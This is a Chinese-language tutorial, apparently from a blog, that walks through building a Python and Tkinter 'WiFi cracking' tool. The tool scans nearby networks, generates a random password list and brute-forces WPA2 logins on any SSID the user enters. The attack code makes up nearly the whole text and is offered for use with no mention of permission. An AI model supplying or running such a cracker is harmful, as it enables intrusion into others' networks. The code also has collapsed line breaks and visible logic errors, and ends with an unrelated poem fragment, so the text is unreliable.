第一步:判断自己笔记本电脑是否有无线网卡
import pywifi
from pywifi import const #引入一些常量
#判断是否有无线网卡
def gic():wifi = pywifi.PyWiFi() #创建一个无线对象#print(wifi)ifaces = wifi.interfaces()[0] #获取无线网卡,一般是电脑的第一块网卡print(ifaces) #输出自己的网卡信息print(ifaces.status()) #判断自己的网卡是否处于连接状态if ifaces.status() == const.IFACE_DISCONNECTED:print("已连接")else:print("未连接")#程序入口
if __name__ == "__main__":#函数调用gic()
执行结果:
第二步:扫描附件的wifi
import pywifi
from pywifi import const
#扫描附件的wifi
def bies():wifi = pywifi.PyWiFi()) #创建一个无线对象iface = wifi.interfaces()[0] #获取无线网卡,一般是电脑的第一块网卡res = iface.scan_results() #扫描附近wifi#print(res) for data in res:print(data.ssid) #获取扫描之后的结果#程序入口
if __name__ == "__main__":#函数调用bies()
执行结果:
第三步:创建简单窗口
#创建窗口
root = Tk()#窗口的标题
root.title("WIFI破解")
#窗口的大小 小写的x #窗口的位置
root.geometry('500x400+550+260')#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置 定位 网格布局 pack 包 place 位置
label.grid()#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)#按钮
#button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)
button = Button(root,text = '开始破解',width = 20,height=2)
button.grid(row = 2,columnspan = 2)#显示窗口 消息循环
root.mainloop()
执行结果:
第四步:密码字典生成
import string as st #导入字符
import random #导入随机函数
passwordrange = st.digits + st.ascii_letters # 生成字符串
#定义函数
def ran_pass(num):letter = ""for i in range(num):letter += random.choice(passwordrange)return letter
def wri_pass(passwd):path = r"I:\pythonfile\0918\wifipwd.txt"with open(path,"a") as des_file:des_file.write(passwd+"\n")
if __name__ == "__main__":for i in range(10):passwd = ran_pass(8)#调用函数随机生成8位密码print(passwd)wri_pass(passwd)
执行结果:
第五步:读取密码本
def readPwd():#获取wifi名称path = r"I:\pythonfile\0918\wifipwd.txt"file = open(path,"r")while True:try:mystr = file.readline() #读取密码本if mystr == "": #读取到最后一行,结束读取breakelse:print(mystr) except:#跳出当前循环,继续下一次循环continue
if __name__ == "__main__":readPwd()
执行结果:
第六步:密码破解
import pywifi
from pywifi import const
import pywifi
import time
def wificonnect(str): #str传入密码本wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#print(ifaces.name())ifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:profile = pywifi.Profile()profile.ssid = "wcp" #wifi名称profile.akm.append(const.AKM_TYPE_WPA2PSK) #WiFi使用的加密算法profile.key = str #wifi的密码 profile.auth = const.AUTH_ALG_OPEN #网卡的开发ifaces.remove_all_network_profiles() #删除所有的wifi文件tmp_profile = ifaces.add_network_profile(profile) #设定新的连接文件ifaces.connect(tmp_profile)time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已经连接")
执行结果:
完整代码过程
from tkinter import *
import pywifi
from pywifi import const
import pywifi
import time#导入模块
#获取第一个无线网卡
#断开所有的wifi
#读取密码本
#设置睡眠时间#测试连接函数
def wificonnect(str,wifiname):wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#print(ifaces.name())ifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:profile = pywifi.Profile()profile.ssid = wifinameprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密算法#wifi的密码profile.key = str#网卡的开发profile.auth = const.AUTH_ALG_OPEN#删除所有的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tmp_profile = ifaces.add_network_profile(profile)ifaces.connect(tmp_profile)time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已经连接")def readPwd():#获取wifi名称wifiname = entry.get() #获取文本框输入的WiFi账号#print(wifiname)path = r"I:\pythonfile\0918\wifipwd.txt"file = open(path,"r")while True:try:#读取密码本mystr = file.readline()#print(mystr)if mystr == "":breakelse:#print(mystr)#测试链接bool = wificonnect(mystr,wifiname) # 调用账号和密码匹配函数if mystr == const.IFACE_CONNECTED:bool = Trueif bool:#print("密码正确",mystr)text.insert(END,"密码正确"+mystr)text.see(END)text.update()else:#print("密码错误",mystr)text.insert(END,"密码错误"+mystr)text.see(END)text.update()except:#跳出当前循环,继续下一次循环continue#创建窗口
root = Tk()#窗口的标题
root.title("WIFI破解")
#窗口的大小 小写的x #窗口的位置
root.geometry('500x400+550+260')#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置 定位 网格布局 pack 包 place 位置
label.grid()#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)#按钮
button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd) # 点击按钮触发事件
button.grid(row = 2,columnspan = 2)#显示窗口 消息循环
root.mainloop()
执行结果:
灯塔 风声吹动风声,叹息穿过叹息---- 当船队侧身而过,灯塔恋恋不舍, 在茫茫黑夜里,在荒凉的瀚海中。 血养荆棘,花开似锦。